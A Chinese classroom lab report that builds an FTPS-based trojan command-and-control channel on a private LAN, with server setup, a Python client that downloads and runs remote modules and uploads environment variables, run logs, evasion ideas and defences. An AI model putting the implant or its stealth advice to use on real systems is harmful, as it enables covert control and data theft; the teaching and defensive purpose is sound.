一、实验目的
- 理解远程控制木马**C2(命令与控制)**的完整通信流程。
- 掌握安全FTP(FTPS)加密传输的原理与使用方法。
- 实现基于FTPS的指令下发、模块执行、结果回传完整实验。
- 掌握FTPS常见错误排查方法,提升网络安全实验能力。
二、实验环境
| 角色 | 操作系统 | 软件/服务 | IP地址 |
|---|---|---|---|
| C2服务端 | Kali Linux | FTPS服务 | 192.168.3.130 |
| 受控客户端 | Windows 10 | Python 3.11 | 192.168.3.145 |
| 通信协议 | FTPS(FTP over TLS) | 加密传输 | — |
三、实验原理
- FTPS(安全FTP)
- 基于TLS加密,全程保护账号、密码、文件内容。
- 防窃听、防篡改、防流量分析,是符合安全规范的文件传输协议。
- C2通信流程
- 客户端通过FTPS加密连接服务端。
- 下载指令配置文件json。
- 下载并执行功能模块py、environment.py。
- 将执行结果加密上传回服务端。
- 定时轮询,等待新指令。
四、服务端目录结构
fileinclude(FTP根目录)
└── bhptrojan
├── config
│ └── TORJANID.json # 指令配置
├── modules
│ ├── dirlister.py # 目录遍历模块
│ └── environment.py # 环境变量模块
└── result # 结果存放目录
五、服务端文件内容
1. config/TORJANID.json
[
{"module": "dirlister"},
{"module": "environment"}
]
2. modules/dirlister.py
import os
def run():
print("[*] 执行目录遍历模块")
return os.listdir(".")
3. modules/environment.py
import os
def run():
print("[*] 执行环境变量模块")
return dict(os.environ)
六、客户端代码(仅安全FTPS版)
import ftplib
import json
import time
import os
import importlib
# ========== FTPS配置 ==========
FTP_HOST = "192.168.31.192"
FTP_USER =
FTP_PASS =
CLIENT_ID = "student01"
# FTPS加密登录
def ftp_login():
ftp = ftplib.FTP_TLS(FTP_HOST)
ftp.login(FTP_USER, FTP_PASS)
ftp.prot_p() # 开启数据加密
return ftp
# 下载指令配置
def get_config():
try:
ftp = ftp_login()
lines = []
ftp.retrlines("RETR bhptrojan/config/TORJANID.json", lines.append)
ftp.quit()
return json.loads("".join(lines))
except:
return None
# 下载并执行模块
def run_module(module_name):
try:
ftp = ftp_login()
with open(f"{module_name}.py", "wb") as f:
ftp.retrbinary(f"RETR bhptrojan/modules/{module_name}.py", f.write)
ftp.quit()
module = importlib.import_module(module_name)
return module.run()
except:
return "执行失败"
# 加密上传结果
def upload_result(data):
try:
ftp = ftp_login()
filename = f"result_{CLIENT_ID}_{int(time.time())}.txt"
with open("tmp.txt", "w", encoding="utf-8") as f:
f.write(str(data))
with open("tmp.txt", "rb") as f:
ftp.storbinary(f"STOR {filename}", f)
os.remove("tmp.txt")
ftp.quit()
except:
pass
# 主程序
def main():
print("[*] 客户端启动(安全FTPS加密模式)")
while True:
config = get_config()
if not config:
time.sleep(10)
continue
for task in config:
module = task["module"]
print(f"[*] 执行模块:{module}")
res = run_module(module)
upload_result(res)
time.sleep(15)
if __name__ == "__main__":
main()
七、实验步骤
服务端启动,开启FTPS加密,配置账号。
1.1安装 vsftpd 并生成 TLS 证书
sudo apt update
sudo apt install vsftpd openssl -y
创建证书存放目录
sudo mkdir -p /etc/ssl/private
sudo mkdir -p /etc/ssl/certs
生成自签名 TLS 证书(有效期 365 天)
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \\
-keyout /etc/ssl/private/vsftpd.key \\
-out /etc/ssl/certs/vsftpd.crt \\
-subj "/C=CN/ST=Beijing/L=Beijing/O=Test/CN=192.168.3.130"
1.2配置 vsftpd 开启 FTPS(显式 TLS)
sudo nano /etc/vsftpd.conf
1.3 创建 FTP 用户与目录结构
sudo useradd -m -s /bin/bash trojan
echo "trojan:123456" | sudo chpasswd
sudo mkdir -p /home/trojan/bhptrojan/{config,modules,result}
sudo chown -R trojan:trojan /home/trojan/bhptrojan
按要求创建目录结构,放入配置文件与模块文件。
cd /home/trojan/bhptrojan
2.1配置文件 config/TORJANID.json
nano config/TORJANID.json
[
{"module": "dirlister"},
{"module": "environment"}
]
2.2 模块 modules/dirlister.py
nano modules/dirlister.py
import os
def run():
print("[*] 执行目录遍历模块")
return os.listdir(".")
2.3 模块 modules/environment.py
nano modules/environment.py
import os
def run():
print("[*] 执行环境变量模块")
return dict(os.environ)
2.4 设置权限
sudo chown -R trojan:trojan /home/trojan/bhptrojan
sudo chmod -R 755 /home/trojan/bhptrojan
2.5启动 vsftpd 服务并配置防火墙
sudo systemctl restart vsftpd
sudo systemctl enable vsftpd
*# 开放 FTP 控制端口(21)和被动模式端口范围*
sudo ufw allow 21/tcp
sudo ufw allow 30000:31000/tcp
sudo ufw reload
*# 查看服务状态*
sudo systemctl status vsftpd
客户端运行py
观察客户端日志,确认FTPS登录、下载指令、执行模块、上传结果。
从详细日志可以看出:
Windows 客户端通过 FTPS (FTP over TLS) 成功连接了 Kali 服务端(192.168.3.130)。
依次完成了:
下载配置文件 TORJANID.json
下载并执行 dirlister.py 模块
下载并执行 environment.py 模块
将执行结果加密上传至 Kali 的 bhptrojan/result/ 目录
在服务端查看上传的结果文件,验证实验成功![]()
八、实验结果记录
客户端运行日志
[*] 客户端启动(安全FTPS加密模式)
[*] 执行模块:dirlister
[*] 执行模块:environment
Microsoft Windows [版本 10.0.19045.2965]
(c) Microsoft Corporation。保留所有权利。
C:\\code>uv run python ftp_trojan_ftps.py
[*] 客户端启动(安全 FTPS 加密模式)
[*] 目标服务器: 192.168.3.130
get* '220 (vsFTPd 3.0.5)\\n'resp* '220 (vsFTPd 3.0.5)'cmd* 'AUTH TLS'put* 'AUTH TLS\\r\\n'get* '234 Proceed with negotiation.\\n'resp* '234 Proceed with negotiation.'cmd* 'USER trojan'put* 'USER trojan\\r\\n'get* '331 Please specify the password.\\n'resp* '331 Please specify the password.'cmd* 'PASS ******'put* 'PASS ******\\r\\n'get* '230 Login successful.\\n'resp* '230 Login successful.'cmd* 'PBSZ 0'put* 'PBSZ 0\\r\\n'get* '200 PBSZ set to 0.\\n'resp* '200 PBSZ set to 0.'cmd* 'PROT P'put* 'PROT P\\r\\n'get* '200 PROT now Private.\\n'resp* '200 PROT now Private.'cmd* 'TYPE A'put* 'TYPE A\\r\\n'get* '200 Switching to ASCII mode.\\n'resp* '200 Switching to ASCII mode.'cmd* 'PASV'put* 'PASV\\r\\n'get* '227 Entering Passive Mode (192,168,3,130,120,248).\\n'resp* '227 Entering Passive Mode (192,168,3,130,120,248).'cmd* 'RETR bhptrojan/config/TORJANID.json'put* 'RETR bhptrojan/config/TORJANID.json\\r\\n'get* '150 Opening BINARY mode data connection for bhptrojan/config/TORJANID.json (59 bytes).\\n'resp* '150 Opening BINARY mode data connection for bhptrojan/config/TORJANID.json (59 bytes).'get* '226 Transfer complete.\\n'resp* '226 Transfer complete.'cmd* 'QUIT'put* 'QUIT\\r\\n'get* '221 Goodbye.\\n'resp* '221 Goodbye.'
[*] 执行模块:dirlister
get* '220 (vsFTPd 3.0.5)\\n'resp* '220 (vsFTPd 3.0.5)'cmd* 'AUTH TLS'put* 'AUTH TLS\\r\\n'get* '234 Proceed with negotiation.\\n'resp* '234 Proceed with negotiation.'cmd* 'USER trojan'put* 'USER trojan\\r\\n'get* '331 Please specify the password.\\n'resp* '331 Please specify the password.'cmd* 'PASS ******'put* 'PASS ******\\r\\n'get* '230 Login successful.\\n'resp* '230 Login successful.'cmd* 'PBSZ 0'put* 'PBSZ 0\\r\\n'get* '200 PBSZ set to 0.\\n'resp* '200 PBSZ set to 0.'cmd* 'PROT P'put* 'PROT P\\r\\n'get* '200 PROT now Private.\\n'resp* '200 PROT now Private.'cmd* 'TYPE I'put* 'TYPE I\\r\\n'get* '200 Switching to Binary mode.\\n'resp* '200 Switching to Binary mode.'cmd* 'PASV'put* 'PASV\\r\\n'get* '227 Entering Passive Mode (192,168,3,130,120,97).\\n'resp* '227 Entering Passive Mode (192,168,3,130,120,97).'cmd* 'RETR bhptrojan/modules/dirlister.py'put* 'RETR bhptrojan/modules/dirlister.py\\r\\n'get* '150 Opening BINARY mode data connection for bhptrojan/modules/dirlister.py (90 bytes).\\n'resp* '150 Opening BINARY mode data connection for bhptrojan/modules/dirlister.py (90 bytes).'get* '226 Transfer complete.\\n'resp* '226 Transfer complete.'cmd* 'QUIT'put* 'QUIT\\r\\n'get* '221 Goodbye.\\n'resp* '221 Goodbye.'
[*] 执行目录遍历模块
get* '220 (vsFTPd 3.0.5)\\n'resp* '220 (vsFTPd 3.0.5)'cmd* 'AUTH TLS'put* 'AUTH TLS\\r\\n'get* '234 Proceed with negotiation.\\n'resp* '234 Proceed with negotiation.'cmd* 'USER trojan'put* 'USER trojan\\r\\n'get* '331 Please specify the password.\\n'resp* '331 Please specify the password.'cmd* 'PASS ******'put* 'PASS ******\\r\\n'get* '230 Login successful.\\n'resp* '230 Login successful.'cmd* 'PBSZ 0'put* 'PBSZ 0\\r\\n'get* '200 PBSZ set to 0.\\n'resp* '200 PBSZ set to 0.'cmd* 'PROT P'put* 'PROT P\\r\\n'get* '200 PROT now Private.\\n'resp* '200 PROT now Private.'cmd* 'TYPE I'put* 'TYPE I\\r\\n'get* '200 Switching to Binary mode.\\n'resp* '200 Switching to Binary mode.'cmd* 'PASV'put* 'PASV\\r\\n'get* '227 Entering Passive Mode (192,168,3,130,119,218).\\n'resp* '227 Entering Passive Mode (192,168,3,130,119,218).'cmd* 'STOR bhptrojan/result/result_win_client01_1777988214.txt'put* 'STOR bhptrojan/result/result_win_client01_1777988214.txt\\r\\n'get* '150 Ok to send data.\\n'resp* '150 Ok to send data.'get* '226 Transfer complete.\\n'resp* '226 Transfer complete.'cmd* 'QUIT'put* 'QUIT\\r\\n'get* '221 Goodbye.\\n'resp* '221 Goodbye.'
[+] 结果已上传: result_win_client01_1777988214.txt
[*] 执行模块:environment
get* '220 (vsFTPd 3.0.5)\\n'resp* '220 (vsFTPd 3.0.5)'cmd* 'AUTH TLS'put* 'AUTH TLS\\r\\n'get* '234 Proceed with negotiation.\\n'resp* '234 Proceed with negotiation.'cmd* 'USER trojan'put* 'USER trojan\\r\\n'get* '331 Please specify the password.\\n'resp* '331 Please specify the password.'cmd* 'PASS ******'put* 'PASS ******\\r\\n'get* '230 Login successful.\\n'resp* '230 Login successful.'cmd* 'PBSZ 0'put* 'PBSZ 0\\r\\n'get* '200 PBSZ set to 0.\\n'resp* '200 PBSZ set to 0.'cmd* 'PROT P'put* 'PROT P\\r\\n'get* '200 PROT now Private.\\n'resp* '200 PROT now Private.'cmd* 'TYPE I'put* 'TYPE I\\r\\n'get* '200 Switching to Binary mode.\\n'resp* '200 Switching to Binary mode.'cmd* 'PASV'put* 'PASV\\r\\n'get* '227 Entering Passive Mode (192,168,3,130,120,47).\\n'resp* '227 Entering Passive Mode (192,168,3,130,120,47).'cmd* 'RETR bhptrojan/modules/environment.py'put* 'RETR bhptrojan/modules/environment.py\\r\\n'get* '150 Opening BINARY mode data connection for bhptrojan/modules/environment.py (91 bytes).\\n'resp* '150 Opening BINARY mode data connection for bhptrojan/modules/environment.py (91 bytes).'get* '226 Transfer complete.\\n'resp* '226 Transfer complete.'cmd* 'QUIT'put* 'QUIT\\r\\n'get* '221 Goodbye.\\n'resp* '221 Goodbye.'
[*] 执行环境变量模块
get* '220 (vsFTPd 3.0.5)\\n'resp* '220 (vsFTPd 3.0.5)'cmd* 'AUTH TLS'put* 'AUTH TLS\\r\\n'get* '234 Proceed with negotiation.\\n'resp* '234 Proceed with negotiation.'cmd* 'USER trojan'put* 'USER trojan\\r\\n'get* '331 Please specify the password.\\n'resp* '331 Please specify the password.'cmd* 'PASS ******'put* 'PASS ******\\r\\n'get* '230 Login successful.\\n'resp* '230 Login successful.'cmd* 'PBSZ 0'put* 'PBSZ 0\\r\\n'get* '200 PBSZ set to 0.\\n'resp* '200 PBSZ set to 0.'cmd* 'PROT P'put* 'PROT P\\r\\n'get* '200 PROT now Private.\\n'resp* '200 PROT now Private.'cmd* 'TYPE I'put* 'TYPE I\\r\\n'get* '200 Switching to Binary mode.\\n'resp* '200 Switching to Binary mode.'cmd* 'PASV'put* 'PASV\\r\\n'get* '227 Entering Passive Mode (192,168,3,130,117,146).\\n'resp* '227 Entering Passive Mode (192,168,3,130,117,146).'cmd* 'STOR bhptrojan/result/result_win_client01_1777988216.txt'put* 'STOR bhptrojan/result/result_win_client01_1777988216.txt\\r\\n'get* '150 Ok to send data.\\n'resp* '150 Ok to send data.'get* '226 Transfer complete.\\n'resp* '226 Transfer complete.'cmd* 'QUIT'put* 'QUIT\\r\\n'get* '221 Goodbye.\\n'resp* '221 Goodbye.'
[+] 结果已上传: result_win_client01_1777988216.txt
[*] 本轮任务完成,休眠 30 秒
服务端结果
生成结果文件:result_student01_时间戳.txt内容包含目录列表与环境变量,实验成功。
九、常见错误与解决方法
1. vsftpd 服务启动失败(Active: failed, 状态码 status=2)
现象
执行 sudo systemctl status vsftpd 显示 Active: failed, code=exited, status=2,
运行sudo vsftpd /etc/vsftpd.conf 2>&1提示:
500 00PS: bad bool value in config file for: xferlog_std format
原因分析
配置文件/etc/vsftpd.conf 中存在语法错误:xferlog_std_format=YESchroot_local_user-YEs 没有换行,导致YESchroot_local_user=YES 整体被当作xferlog_std_format 的值,解析失败。可能还存在其他布尔值参数格式错误(如 YEs写成了true)
使用了系统自带的ss1-cert-snakeoi1证书,但私钥文件权限不足(默认为640,属组ss1-cert)vsftpd进程(以nobody或root 运行)无法读取。解决方法
修正配置文件:确保每个参数独占一行,布尔值必须为YEs或No(全大写)
2. Windows 客户端运行时报错 module 'importlib' has no attribute 'util'
现象
客户端日志显示“执行失败”,Kali 服务端结果文件中包含错误信息 module 'importlib' has no attribute 'util'。
但 FTPS 连接、文件上传等步骤均正常。
原因分析
脚本中使用了 importlib.util.spec_from_file_location 来动态加载下载的 Python 模块,但文件开头缺少 import importlib.util 语句。
importlib 是一个包,其子模块 util 必须显式导入才能使用。
解决方法
在客户端脚本 ftp_trojan_ftps.py 的开头添加缺失的导入:
十、实验总结
- 本次实验仅使用安全FTPS协议完成C2木马通信。
- FTPS通过TLS加密,保证传输过程安全,防止流量被窃听。
- 完整实现了指令下发→模块执行→结果回传的标准C2流程。
- 掌握了FTPS实验环境搭建、代码编写与错误排查方法。
十一、拓展思考
- 除了 FTP,还有哪些协议或平台可以作为隐蔽 C2 通道?
平台主要包括以下几类:
HTTP/HTTPS:最常用的C2通道。通过正常网页请求(GET/POST)发送指令,响应中携带结果。可模仿API调用、图片上传等正常业务流量,具有较好的隐蔽性。
DNS隧道:将指令和数据编码在DNS查询请求中(如TXT记录、子域名)。由于DNS通常被防火墙允许且日志较少,极易绕过检测。
ICMP隧道:利用ICMP回显请求(ping)的数据字段传输数据。部分环境允许ICMP 出站,且安全策略常忽略该协议。
SMTP/IMAP:通过电子邮件收发指令。木马将命令隐藏在邮件主题或正文中,结果作为附件或内嵌文本发送到指定邮箱。
WebSocket:基于HTTP的长连接双向通信,可伪装成实时聊天或数据推送服务。
云服务API:调用公共云存储(如AWS S3、阿里云OSS)或消息队列(如Kafka、Redis)进行指令下发和结果上传,流量特征与正常业务一致。
社交网络平台:利用Twitter、GitHub、Telegram等平台作为指令中转站,木马通过爬取特定账号的推文或仓库文件获取指令。
- 如何改进本实验的代码,提升 C2 通信的隐蔽性和稳定性?
基于本实验的FTPS木马,可从以下几个维度进行改进:
(1)通信隐蔽性提升
端口伪装:将FTPS服务运行在常见端口(如443、80、53)上,模仿HTTPS或DNS流量,逃避基于端口的粗粒度检测。
流量特征模拟:在FTP命令前插入随机数据或标准协议头(如HTTPHEAD请求),使加密前的握手特征更难以被DPI识别。
时间抖动:将固定15秒或30秒的轮询间隔改为随机间隔(如10~40秒),避免产生明显的周期性流量模式。
数据编码附加:将结果数据编码后嵌入图像(隐写术)或压缩文件中,再以二进制方式上传,降低内容可读性。
多级跳板:引入代理或多级中继(如Tor、SOCKS5),隐藏真实的C2服务器IP。
(2)通信稳定性提升
连接重试与保活:在网络波动或服务端重启时,增加指数退避重试机制(如1s,2s,4s...)和心跳包保持连接。
模块完整性校验:下载模块前先获取文件的哈希值(如SHA256),验证无篡改再执行,避免下载失败或恶意算改导致崩溃。
断点续传与分块上传:当结果文件较大时,支持分块上传和断点续传,提高在弱网环境下的成功率。
- 多备用C2地址:客户端内置多个备用域名或IP,当主C2失效时自动切换,提升生存性。
日志隐藏:不在命令行打印详细调试信息(ftp.debugging=2应移除),并将日志写入隐藏文件或通过事件日志通道上报。
(3)抗检测能力增强
混淆与加密:对脚本代码进行混淆,使用随机的函数命名和字符串加密,避免静态特征匹配。动态解析:C2域名使用动态DNS(DDNS),配合短TTL,增加黑名单封禁难度。用户行为模仿:将C2通信与其他正常应用程序流量混合(如浏览器、系统更新),以减少异常行为告警
- 结合本实验,谈谈如何在实际网络环境中防御此类基于 FTP 的木马通信?
(1)网络边界防御
严格出站FTP策略:除非业务必需,否则在边界防火墙/网关处默认禁止出站的FTP流量(包括tcp/21及被动模式端口范围)。若需开放,应仅允许白名单IP并强制使用SFTP(SSH文件传输)或审计后的FTPS.
深度包检测(DPI):部署能够解密TLS流量的下一代防火墙(NGFW)或专用SSL解密设备,检查FTP控制命令中的敏感字符串(如RETR、STOR、bhptrojan等),即使使用FTPS也可通过解密后的明文命令识别。
协议白名单:在网关层面限制只允许HTTP/HTTPS、DNS、NTP等常用协议出站,其他协议(ICMP、FTP、SMTP等)均需单独审批。
(2)主机安全防御
进程行为监控:终端检测与响应(EDR)系统监控python.exe、uv.exe等进程发起的网络连接和文件读写。若发现进程反复连接非业务FTP服务器、动态下载并执行 .py文件,则应触发告警或阻断。禁止动态导入模块:在受控环境中,可通过AppLocker 或PowerShell执行策略限制Python 脚本的动态导入行为,仅允许执行预先安装的签名模块。
日志审计:收集Windows安全日志和 PowerShell 日志,检测异常的命令行参数(如importlib.util.spec_from_file_location ) 或频繁的 ftplib.FTP_TLs 调用.
(3)流量审计与威胁情报
流量关联分析:部署网络流量分析系统(如Zeek、Suricata),检测FTP控制连接之后的频繁数据通道建立行为,尤其是短时间内的多次文件上传模式。
威胁情报检测:将外连IP/域名与威胁情报源(如AlienVault OTX、VirusTotal)比对,识别已知的恶意C2服务器。
DNS监控:分析DNS查询记录,对频繁解析的非标准域名(如trojan相关)或动态DNS域名进行审查和封锁。
(4)日常安全运营
强化用户培训:教育员工不随意下载并运行来源不明的Python脚本,不关闭安全软件。
定期漏洞扫描:检查FTP服务是否配置了弱密码、允许匿名登录等漏洞。
零信任模型:对所有出站加密流量(即使使用TLS)进行解密和检查,默认不信任内部任何主机,所有通信均需授权。
通过以上多层次防御措施,可以大幅降低基于FTPS的木马C2通信在真实网络环境中的成功率与存活时间。
安全声明
本实验仅用于课堂教学,所有操作均在授权局域网内完成,严禁用于非法入侵、控制他人设备,违者承担相应法律责任。